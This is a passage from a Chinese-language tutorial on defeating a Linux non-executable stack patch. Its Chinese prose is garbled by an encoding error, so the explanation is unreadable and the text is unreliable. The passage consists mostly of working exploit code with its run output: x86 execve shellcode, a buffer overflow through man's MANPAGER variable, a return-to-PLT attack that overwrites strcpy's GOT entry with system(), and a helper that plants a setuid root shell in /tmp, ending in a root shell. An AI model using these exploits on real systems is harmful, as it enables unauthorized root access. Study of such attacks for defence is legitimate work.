*/ #define OFFSET 1200 /* SRC's offset */ char shellcode[] = /* standard shellcode for Linux(x86) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; long get_esp(void) { __asm__("movl %esp,%eax"); } main( int argc, char **argv ) { char *pattern, eggbuf[EGGSIZE]; long srcaddr, i, offset=OFFSET, *addrptr, align, patternsize, bufsize=BUFSIZE ; if( argc > 1 ) bufsize = atoi(argv[1]); if( argc > 2 ) offset = atoi(argv[2]); srcaddr = get_esp() + offset; printf("Usages: %s \n\n", argv[0] ); printf("Using SRC address = 0x%x ,Offset = %d\n", srcaddr, offset ); patternsize = bufsize + 4 + 16 + 1; if((pattern = (char *)malloc(patternsize)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } memset(pattern, 'A', patternsize ); /* fill pattern buffer with garbage */ align = bufsize + 4; addrptr = (long *) (pattern + align); *addrptr++ = STRCPY; /* replace saved_eip */ *addrptr++ = DEST; *addrptr++ = DEST; *addrptr++ = srcaddr; /* construct shellcode buffer */ memset(eggbuf, 0x90 , EGGSIZE); memcpy(eggbuf + EGGSIZE - strlen(shellcode) -1, shellcode, strlen(shellcode)); setenv("MANPAGER", pattern , 1); setenv("EGG", eggbuf , 1); execl("/usr/bin/man","man","ls",NULL); } [warning3@mytest non-exec]$ gcc -o ex_man ex_man.c [warning3@mytest non-exec]$ ./ex_man Usages: ./ex_man Using SRC address = 0xbffffd8c ,Offset = 1200 sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...... <....> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAŒýÿ¿A exited with status 127. bash$ id uid=500(warning3) gid=500(warning3) egid=15(man) groups=500(warning3) ÓÃÕâÖÖ·½·¨£¬ÎÒÃÇÐèÒª¿½±´Ò»¸öshellcodeµ½¿ÉÖ´ÐеÄÊý¾Ý¶ÎÖУ¬È»ºóÖ´ÐÐshellcode.ʵ¼Ê ÉÏÎÒÃDz¢²»ÐèÒª¿ÉÖ´ÐеÄÊý¾Ý¶Î£¬ÎÒÃÇÀ´¿´µÚ¶þÖÖ·½·¨¡£ <¶þ> ÓÃsystem()µØÖ·¸²¸Çstrcpy()µÄGOTÈë¿Ú ÎÒÃÇ¿¼ÂÇÓÃÏÂÃæÕâ¸öÄ£°åÀ´¸²¸Ç¶ÑÕ»ÖеÄbuffer ¸²¸Çǰ£º| buffer | ebp | eip | arg[3] | arg[2] | arg[1] | ¸²¸Çºó£º| YYYY | XXXX | STRCPY | STRCPY | PLTENT-offset | SRC | ¶ÑÕ»µÍ¶Ë------------------------------------------------------>¶ÑÕ»¸ß¶Ë ÕâÀ YYYY : ÊÇÌî³äÓõÄÊý¾Ý XXXX : ÊÇÌî³äÓõÄÊý¾Ý STRCPY : strcpy()ÔÚPLTÖеÄÈë¿ÚµØÖ· PLTENT : STRCPYÔÚGOTÖеÄÈë¿ÚµØÖ·£¬¼´ Ç°ÃæÀý×ÓÖп´µ½µÄ"jmp *0x80494a8"ÖÐµÄ 0x80494a8 offset : Õâ¸öÊÇÎÒÃǵÄcommand×Ö·û´®µÄ³¤¶È£¬ÒÔʹÎÒÃǵÄSYSTEM¸ÕºÃ¸²¸ÇPLTENT SRC : ÎÒÃÇÒªÖ´ÐеÄÃüÁîËùÔÚµØÖ·£¬Õâ¸öµØÖ·ÐèÒªÊǷdz£¾«È·µÄ ÎÒÃǵĻù±¾Ë¼Â·ÊÇ£ºÀûÓÃlibc¿âÖеÄsystemº¯Êý(ÒòΪËüÖ»ÐèÒªÒ»¸ö²ÎÊý£¬ÊµÏÖÆðÀ´±È½Ï¼ò µ¥),½«ËüµÄµØÖ·¸²¸ÇSTRCPYÔÚGOTµÄÆ«ÒÆµØÖ·¡£·½·¨ÊÇ£¬µÚÒ»¸öSTRCPYÖ´ÐÐʱ£¬½«»á°ÑSRC ¿ªÊ¼µÄÒ»¸öÃüÁî×Ö·û´®¿½±´µ½(PLTENT-offset)µØÖ·´¦£¬SRC´¦µÄÇ°ÃæÊÇÎÒÃÇÒªÖ´ÐеÄÃüÁî, ±ÈÈç"/tmp/tt",×îºóËĸö×Ö½ÚÊÇSYSTEMµÄµØÖ·,ÓÉÓÚsystem()¿âº¯ÊýµÄµØÖ·µÄ×î¸ß×Ö½ÚΪ 0x00,Òò´Ë¸ÕºÃ¿ÉÒÔÖÕÖ¹Õâ¸öÃüÁî´®¡£ÓÉÓÚoffset¾ÍÊÇÃüÁîµÄ³¤¶È£¬Òò´Ë£¬¿½±´Íê³Éºó£¬ SYSTEMµÄµØÖ·¸ÕºÃ±»·Åµ½ÁËPLTENTÀïÃæ,ÈçͼËùʾ: SYSTEM |/tmp/tt|0x00ABCDEF| ^ ^ | |________PLTENT | |__PLTENT-offset Òò´Ë£¬ÔÚ½øÐеڶþ´ÎSTRCPYʱ£¬GOTÖд洢µÄʵ¼ÊÉÏÊÇsystem()µÄµØÖ·£¬Ò²¾ÍÊÇ˵£¬½ÓÏÂÀ´ Ö´ÐеÄÊÇsystem()º¯Êý£¬Ëü»á½«SRC×÷ΪËüµÄ²ÎÊýÈë¿ÚµØÖ·,¶øÎÒÃǵIJÎÊýÏÖÔÚÊÇ"/tmp/tt. ..", "tt"ºóÃæµÄ×Ö·ûͨ³£ÊDz»ºÃÈ·¶¨µÄ£¬ÎÒÃÇ¿ÉÒÔÀûÓùܵÀ·ûÀ´½â¾öÕâ¸öÎÊÌ⣬ÃüÁî±ä³É ÕâÑù£º"/tmp/tt|",ÕâÑù£¬²»¹Ü"|"ºóÃæÊÇʲô×Ö·û£¬ÎÒÃǶ¼¿ÉÒÔ±£Ö¤/tmp/tt¶¼»á±»Ö´ÐС£ (µ±È»£¬ÓÐЩÇé¿öÏ»¹ÊÇÓÐЩÎÊÌ⣬ºóÃæ»á½²µ½). /tmp/ttʹÎÒÃÇʵÏÖ±àÒëºÃµÄÒ»¸ö³ÌÐò£¬Í¨³£ÓÃÀ´¿½±´Ò»¸ösuid rootµÄshell.µ±È»Ò²¿ÉÒÔ Íê³ÉÆäËûµÄ²Ù×÷¡£ /* tt.c -- make one suid root shell in /tmp .*/ main() { system("cp /bin/sh /tmp/xixi"); system("chmod 4755 /tmp/xixi"); } [warning3@mytest non-exec]$ gcc -o tt tt.c; cp tt /tmp/tt ÎÒÃÇÊ×ÏÈÀ´ÕÒÒ»ÏÂÄǼ¸¸ö²ÎÊýµÄµØÖ·£º [root@mytest non-exec]# gdb ./hole <....> (gdb) p strcpy $1 = {} 0x8048308 <--- µÃµ½ STRCPY=0x8048308 (gdb) disass strcpy Dump of assembler code for function strcpy: 0x8048308 : jmp *0x8049478 <----µÃµ½ PLTENT=0x8049478 0x804830e : push $0x18 0x8048313 : jmp 0x80482c8 <_init+48> End of assembler dump. (gdb) b main Breakpoint 1 at 0x80483ce (gdb) r Starting program: /home/warning3/non-exec/./hole Breakpoint 1, 0x80483ce in main () (gdb) p system $2 = {} 0x168160 <__libc_system> <---- µÃµ½SYSTEM=0x168160 ¶ÔÓÚSRC,Ò»ÖÖ·½·¨ÊÇͨ¹ýgdbÀ´Ñ°ÕÒ¡£ÎÒÃÇÏȱàÒëÏÂÃæµÄ²âÊÔ³ÌÐò£¬SRCµÄÖµ¿ÉÒÔÏÈÓÃÁÙʱ µÄ·ÇÁãÊýÖµ´úÌæ¡£ /* ---> ex4.c <--- * another exploit to test non-exec stack. * Tested in RedHat 6.1 + kernel 2.2.14 + SD's 2.2.14-ow2.patch * by warning3 */ #include #define STRCPY 0x8048308 /* strcpy()'s PLT Entry */ #define PLTENT 0x8049478 /* strcpy()'s GOT offset */ #define SYSTEM 0x168160 /* system()'s libc address */ #define SRC 0xbfffffe8 /* our "command" string's addr */ #define BUFSIZE 8 /* the size of overflowed buffer */ #define EGGSIZE 50 /* the egg buffer size */ main( int argc, char **argv ) { char *pattern, eggbuf[EGGSIZE]; char command[] = "/tmp/tt|"; long i, *addrptr, align, patternsize, bufsize=BUFSIZE ; if( argc > 1 ) bufsize = atoi(argv[1]); printf("Usages: %s \n\n", argv[0] ); patternsize = bufsize + 4 + 16 + 1; if((pattern = (char *)malloc(patternsize)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } memset(pattern, 'A', patternsize ); /* fill pattern buffer with garbage */ align = bufsize + 4; addrptr = (long *) (pattern + align); *addrptr++ = STRCPY; /* replace saved_eip */ *addrptr++ = STRCPY; *addrptr++ = PLTENT - strlen(command); *addrptr++ = SRC; /* construct command buffer */ memcpy(eggbuf, command, strlen(command)); *(long *) &eggbuf[ strlen(command) ] = SYSTEM; setenv("EGG", eggbuf , 1); execl("./hole","./hole",pattern,NULL); } [root@mytest non-exec]# gcc -o ex4 ex4.c [root@mytest non-exec]# ./ex4 Usages: ./ex4 Segmentation fault (core dumped) [root@mytest non-exec]# gdb ./hole core <...> #0 0x1681607c in ?? () (gdb) x/5s 0xbfffffe0 0xbfffffe0: "/ex8" 0xbfffffe5: "EGG=/tmp/tt|`\201\026" 0xbffffff5: "./hole" 0xbffffffc: "" 0xbffffffd: "" (gdb) x/1s 0xbfffffe9 0xbfffffe9: "/tmp/tt|`\201\026" Òò´Ë£¬ÎÒÃÇ¿ÉÒÔÓÃ0xbfffffe9×÷ΪSRCµÄÖµ£¬ÖØÐ±àÒëºóÖ´ÐУº [root@mytest non-exec]# gcc -o ex4 ex4.c [root@mytest non-exec]# ./ex4 Usages: ./ex4 sh: unexpected EOF while looking for ``' sh: -c: line 2: syntax error Segmentation fault (core dumped) ÎÒÃÇ¿´µ½£¬ÎÒÃǵÄcommandÃüÁîʵ¼ÊÉÏÒѾ­±»system()Ö´ÐÐÁË¡£Ö»ÊÇshellûÓÐÕÒµ½Óë``'Ïà Æ¥ÅäµÄÁíÍâÒ»¸ö×Ö·û£¬Òò´ËûÓÐÖ´ÐÐÎÒÃǵÄ/tmp/tt.Õâ¸ö×Ö·ûÊÇÄÄÀïÀ´µÄÄØ£¿ÎÒÃÇ×¢Òâµ½ SYSTEMµÄµØÖ·ÊÇ0x168160£¬¶ø0x60¾ÍÊÇ'`'µÄASCIIÂ룬Õâ¸ö'`'¾ÍÊÇËüÔÚ×÷¹Ö¡£Ö»ÒªÄÜÔÙ¸ø ËüÌṩһ¸öÏàÆ¥ÅäµÄ'`'¾ÍÐÐÁË¡£ÎÒÃÇ¿ÉÒÔ½«commandµÄÄÚÈݸijÉ: "/tmp/tt|`",ÕâÑùʵ¼Ê Ö´ÐеÄÃüÁî¾Í³ÉÁËsystem("/tmp/tt|``..."),ÕâÑù£¬ÎÒÃǵÄ/tmp/tt¾Í¿ÉÒÔ±»ÔËÐÐÁË¡£ ×¢Ò⣺ÔÚ²»Í¬µÄϵͳÉÏ£¬¿ÉÄÜSYSTEMµÄµØÖ·ÊDz»Ò»ÑùµÄ£¬Òò´Ë½â¾öÕâ¸öÎÊÌâµÄ·½·¨Ò²²»¾¡ Ïàͬ£¬µ«Ë¼Â·Ó¦¸ÃÊÇÒ»ÑùµÄ¡£ ½«commandÖØÐ¸Äдºó£¨×¢Ò⣺ÒòΪcommandµÄ³¤¶È±äÁË£¬µ¼ÖÂSRCµÄµØÖ·Ò²±ä»¯ÁË£¬ÕâÀï±ä ³ÉÁË0xbfffffe8,Ò²ÐèÒª¸üÐÂ)£¬ 11c11 < #define SRC 0xbfffffe9 /* our "command" string's addr */ --- > #define SRC 0xbfffffe8 /* our "command" string's addr */ 21c21 < char command[] = "/tmp/tt|"; --- > char command[] = "/tmp/tt|`"; ÖØÐ±àÒëÔËÐУº [warning3@mytest non-exec]$ ./ex4 Usages: ./ex4 sh: ? command not found <---- "|"ºóÃæµÄÃüÁî²»´æÔÚ,²»¹ýÇ°ÃæµÄÒѾ­±»Ö´ÐÐÁË¡£:) Segmentation fault [warning3@mytest non-exec]$ ls -l /tmp/tt /tmp/xixi -rwxr-xr-x 1 warning3 warning3 11736 Apr 11 22:28 /tmp/tt -rwsr-xr-x 1 root warning3 373176 Apr 11 23:52 /tmp/xixi [warning3@mytest non-exec]$ /tmp/xixi [warning3@mytest non-exec]# id uid=500(warning3) gid=500(warning3) euid=0(root) groups=500(warning3) Èç¹û±»¹¥»÷µÄ³ÌÐò±¾ÉíÒѾ­Ê¹ÓÃÁËsystem,execlpµÈµÈ"ΣÏÕ"ϵͳµ÷Ó㬹¥»÷µÄ·½·¨¿ÉÄܸü ¼Ó¼òµ¥,¿ÉÒԲο¼²ÉÓÃÏÂÃæµÄÁ½ÖÖÄ£°åÀ´½øÐУº -------------------------------- | SYSTEM | EXIT | BIN_SH | -------------------------------- ------------------------------------------------ | EXECLP | EXIT | BIN_SH | BIN_SH | 0 | ------------------------------------------------ ÓÐÐËȤµÄ¶ÁÕß¿ÉÒÔ×ÔÐвâÊÔһϡ£ ÎÒÃÇÇ°Ãæ½éÉܵÄÕâÁ½ÖÖ·½·¨£¬¶¼ÊÇ¿ÉÒÔÈÆ¹ý²»¿ÉÖ´ÐжÑÕ»patchµÄ¡£»ù±¾µÄ˼·ÊÇÀûÓÃPLT ±íÖеÄÈë¿ÚÀ´½øÐй¥»÷¡£Ò»ÖÖ¿ÉÄܵĽâ¾ö·½·¨¾ÍÊǽ«PLTÒ²Ó³Éäµ½ÄÚ´æ¿Õ¼äµÄµÍ16MµØÖ·È¥ £¬ÄÇÕâЩ¹¥»÷·½·¨¾Í»áʧЧÁË¡£ ´ÓÇ°ÃæµÄ·ÖÎö¿ÉÒÔÖªµÀ£¬¾¡¹ÜSolar DesignerµÄkenel patch²¢²»Äܽâ¾öÕâÖÖ¹¥»÷ÊÖ·¨£¬µ« ÊÇÕâ¸öpatchÎÞÒÉ»¹ÊÇ´ó´óÔö¼ÓÁ˹¥»÷µÄÄѶȣ¬¶ÔÈëÇÖÕßµÄÒªÇóÒ²±È½Ï¸ß£¬Í¬Ê±£¬ËûµÄpatch »¹ÓÐÆäËûµÄ°²È«ÔöÇ¿¹¦ÄÜ£¬ÀýÈç·ÀÖ¹¹²ÏíÄÚ´æ±»ÀÄÓã¬Ôö¼Ó¶Ô/procĿ¼µÄ·ÃÎÊ¿ØÖÆ£¬ÏÞÖÆ /tmpÏÂÁ´½Ó¾ºÕùµÈµÈ¡£Òò´ËÈÔÈ»ºÜÖµµÃÒ»Óõġ£¼°Ê±¶ÔÓÐÎÊÌâµÄÈí¼þ/ϵͳ½øÐа²È«¸üÐÂÈÔ È»ÊDZز»¿ÉÉٵġ£ <Íê> <* ÉùÃ÷: ±¾ÎĽö¹©½ÌÓýºÍÑо¿Ä¿µÄʹÓã¬ÇëÎðÓÃÓÚ·Ç·¨Ä¿µÄ£¬·ñÔòÔðÈÎ×Ô¸º£¡ ÈçÓû×ªÔØÔØ£¬Çë±£ÁôÍêÕûÐÅÏ¢¡£Èç¹ûÎÄÖÐÓÐÈκÎÊè©»òÕß´íÎ󣬻¶Ó­Óë±¾ÈËÁªÏµ£¬ ¹²Í¬Ì½ÌÖ. Email: warning3@hotmail.com *> <²Î¿¼ÎÄÏ×> [1] <> ,Rafal Wojtczuk, [2] <>, Solar Designer [3] 3xterm.c (A simple xploit working around non-executable stack patch), M.C.Mar [4] <>, lamagra , ±¸×¢£º Solar DesignerµÄLinux kernel patch¿ÉÒÔ´ÓÕâ¸öµØÖ·ÏÂÔØ£º http://www.openwall.com/linux/